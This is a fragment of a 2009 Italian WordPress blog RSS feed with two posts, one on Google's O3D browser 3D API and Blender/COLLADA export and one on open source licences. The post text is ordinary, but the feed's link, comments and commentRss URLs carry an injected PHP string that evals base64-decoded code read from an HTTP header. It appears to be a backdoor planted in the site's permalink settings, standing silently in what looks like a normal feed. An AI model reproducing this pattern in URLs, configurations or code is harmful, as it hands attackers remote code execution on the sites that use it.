		<pubDate>Sun, 09 Aug 2009 17:56:25 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[COLLADA]]></category>
		<category><![CDATA[Mondi virtuali]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Virtual Worlds]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=666</guid>
		<description><![CDATA[In questo fantastico blog di Kenneth Wong ho trovato la notizia del rilasci Open Source da parte di Google di O3D, una API ovvero Application Programming Interface (Interfaccia di programmazione per applicazioni) costruita in Java che permette di portare un mondo tridimensionale direttamente nella finestra del browser prediletto. Questa interfaccia utilizza il formato COLLADA come spiega [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">In </span></span></span><a title="Kenneth Wong’s Virtual Desktop " href="http://www.deskeng.com/virtual_desktop/?tag=3dvia" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="color: #ff00ff;">questo fantastico blog</span> </span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">di Kenneth Wong ho trovato la notizia del rilasci Open Source da parte di Google di O3D, una API ovvero </span></span></span><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">Application Programming Interface (Interfaccia di programmazione per applicazioni) costruita in Java che permette di portare un mondo tridimensionale direttamente nella finestra del browser prediletto.<br />
Questa interfaccia utilizza il formato COLLADA come spiega Wong:<br />
&#8220;&#8230;In its present incarnation, the API works with COLLADA format to digest 3D geometry and scene building information from other software. Autodesk 3D Studio Max, Autodesk Maya, Google SketchUp, and some CAD packages offer this export option. SolidWorks users can employ the COLLADA Export plug-in, downloadable from SolidWorks Labs&#8230;&#8221;</span></span></span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.youtube.com/v/lAvE-giBtDg&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/lAvE-giBtDg&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">L&#8217; articolo non spiega però che esiste già un exporter da Blender come si legge in </span></span></span><a title="Blender Tutorial" href="http://www.blender-tutorial.com/" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #ff00ff;">Blender Tutorial</span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="color: #ff00ff;">:<br />
</span>&#8220;Attraverso un plugin e la <strong>API O3D</strong> utilizzabile tramite browser, Google alza il livello dei contenuti 3D in veste web.<br />
Oggi per tutti gli utenti Blender è disponibile un nuovo <strong>exporter 03D</strong>.<br />
<strong>O3D</strong> può essere utilizzato per creare e gestire la “webgrafica 3D” grazie a JavaScript, in questo modo contenuti provenienti da ambiente puramente 3D di Blender, potranno essere gestiti anche a livello web con interessanti applicazioni&#8230;&#8221;<br />
E fornisce anche il link per scaricare lo scripting che trovate </span></span></span><a title="Blender exporter per o3D" href="http://www.nelson-games.de/bl2o3d/default.html" target="_blank"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #ff00ff;">qui</span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;">.<br />
Con questo scripting potete creare un file HTML o Java che esporta la tua scena tridimensionale modellata in Blender nel </span></span></span><a href="http://code.google.com/intl/de/apis/o3d/"><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #ff00ff;">Google O3D Plugin</span></span></span></a><span style="font-size: medium;"><span style="font-family: arial,helvetica,sans-serif;"><span style="color: #000000;"><span style="color: #ff00ff;">.</span> Anche se esiste un modo più professionale utilizzando COLLADA.</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/09/api-o3d-la-terza-dimensione-direttamente-nel-tuo-browser/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenSource e licenze d&#8217; uso</title>
		<link>http://www.bubblesfactory.it/wordpress/2009/08/07/opensource-e-licenze-d-uso/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.bubblesfactory.it/wordpress/2009/08/07/opensource-e-licenze-d-uso/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 22:27:49 +0000</pubDate>
		<dc:creator>Giampiero Moioli</dc:creator>
				<category><![CDATA[Software di modellazione tridimensionale]]></category>
		<category><![CDATA[Blender]]></category>
		<category><![CDATA[codice sorgente]]></category>
		<category><![CDATA[Licenze d' uso]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://www.bubblesfactory.it/wordpress/?p=638</guid>
		<description><![CDATA[Per approfondire il rapporto fra Open Source e  licenze d&#8217; uso  e capire meglio cosa è l&#8217; Open Source sono interessanti le due voci di wikipedia ai cui autori perdoniamo di non aver citato Blender fra i software Open Source attualmente più diffusi. &#8220;In informatica, open source (termine inglese che significa sorgente aperto) indica un [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><span style="font-size: medium;"><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Opensource.png"><img class="aligncenter size-full wp-image-640" title="Opensource" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Opensource.png" alt="Opensource" width="288" height="259" /></a></span></p>
<p style="text-align: justify;"><span style="font-size: medium;"><span style="color: #000000;">Per approfondire il rapporto fra Open Source e  licenze d&#8217; uso  e capire meglio cosa è l&#8217; Open Source sono interessanti le due voci di wikipedia ai cui autori perdoniamo di non aver citato Blender fra i software Open Source attualmente più diffusi.<br />
&#8220;In </span></span><span style="font-size: medium;"><span style="color: #000000;">informatica</span></span><span style="font-size: medium;"><span style="color: #000000;">, <strong>open source</strong> (termine </span></span><span style="font-size: medium;"><span style="color: #000000;">inglese</span></span><span style="font-size: medium;"><span style="color: #000000;"> che significa <em>sorgente aperto</em>) indica un </span></span><span style="font-size: medium;"><span style="color: #000000;">software</span></span><span style="font-size: medium;"><span style="color: #000000;"> i cui autori (più precisamente i detentori dei diritti) ne permettono, anzi ne favoriscono il libero studio e l&#8217;apporto di modifiche da parte di altri programmatori indipendenti. Questo è realizzato mediante l&#8217;applicazione di apposite </span></span><span style="font-size: medium;"><span style="color: #000000;">licenze d&#8217;uso</span></span><span style="font-size: medium;"><span style="color: #000000;">.<br />
</span><a title="Open Source" href="http://it.wikipedia.org/wiki/Open_source" target="_blank"><span style="color: #000000;"><span style="font-size: large;"><span style="color: #ff00ff;">Qui</span></span> </span></a><span style="color: #000000;">troviamo la prima voce e </span><a title="Licenza" href="http://it.wikipedia.org/wiki/Licenza_(informatica)" target="_blank"><span style="color: #ff00ff;"><span style="font-size: large;">qui</span></span></a><span style="color: #000000;"><span style="color: #ff00ff;"><span style="font-size: large;"> </span></span>la seconda.</span></span></p>
<p style="text-align: justify;"><span style="font-size: medium;"><span style="color: #000000;"><a href="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Categorie_software.png"><img class="aligncenter size-full wp-image-646" title="Categorie_software" src="http://www.bubblesfactory.it/wordpress/wp-content/uploads/2009/08/Categorie_software.png" alt="Categorie_software" width="670" height="479" /></a></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblesfactory.it/wordpress/2009/08/07/opensource-e-licenze-d-uso/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
